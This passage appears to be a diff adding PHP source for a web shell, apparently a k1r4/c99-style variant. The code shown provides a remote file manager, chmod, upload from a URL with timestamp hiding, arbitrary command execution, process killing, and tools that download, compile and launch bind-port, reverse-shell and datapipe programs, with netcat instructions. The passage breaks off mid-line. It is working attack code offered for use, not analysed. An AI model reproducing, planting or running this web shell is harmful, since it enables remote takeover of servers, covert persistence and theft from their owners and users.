+&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); k1r4_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); k1r4_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} k1r4_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); k1r4_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + k1r4_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + k1r4_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + k1r4_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; k1r4exit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#000000 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + <script> + function ls_setcheckboxall(status) + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; + echo "</form>"; + } +} +if ($act == "tools") +{ + $bndportsrcs = array( + "k1r4_bindport.pl"=>array("Using PERL","perl %path %port"), + "k1r4_bindport.c"=>array("Using C","%path %port %pass") + ); + $bcsrcs = array( + "k1r4_backconn.pl"=>array("Using PERL","perl %path %host %port"), + "k1r4_backconn.c"=>array("Using C","%path %host %port") + ); + $dpsrcs = array( + "k1r4_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), + "k1r4_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") + ); + if (!is_array($bind)) {$bind = array();} + if (!is_array($bc)) {$bc = array();} + if (!is_array($datapipe)) {$datapipe = array();} + + if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} + if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} + + if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} + if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} + + if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} + if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} + if (!empty($bindsubmit)) + { + echo "<b>Result of binding port:</b><br>"; + $v = $bndportsrcs[$bind["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $w = explode(".",$bind["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = k1r4getsource($bind["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%port",$bind["port"],$v[1]); + $v[1] = str_replace("%pass",$bind["pass"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} + else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} + } + echo "<br>"; + } + } + if (!empty($bcsubmit)) + { + echo "<b>Result of back connection:</b><br>"; + $v = $bcsrcs[$bc["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + else + { + $w = explode(".",$bc["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = k1r4getsource($bc["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%host",$bc["host"],$v[1]); + $v[1] = str_replace("%port",$bc["port"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>"; + } + } + } + if (!empty($dpsubmit)) + { + echo "<b>Result of datapipe-running:</b><br>"; + $v = $dpsrcs[$datapipe["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $srcpath = $tmpdir.$datapipe["src"]; + $w = explode(".",$datapipe["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = k1r4getsource($datapipe["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); + $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); + $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} + else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";} + } + echo "<br>"; + } + } + ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php + foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} + ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form> +<b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php +foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> +<b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php +foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php +} +if ($act == "processes") +{ + echo "<b>Processes:</b><br>"; + if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while 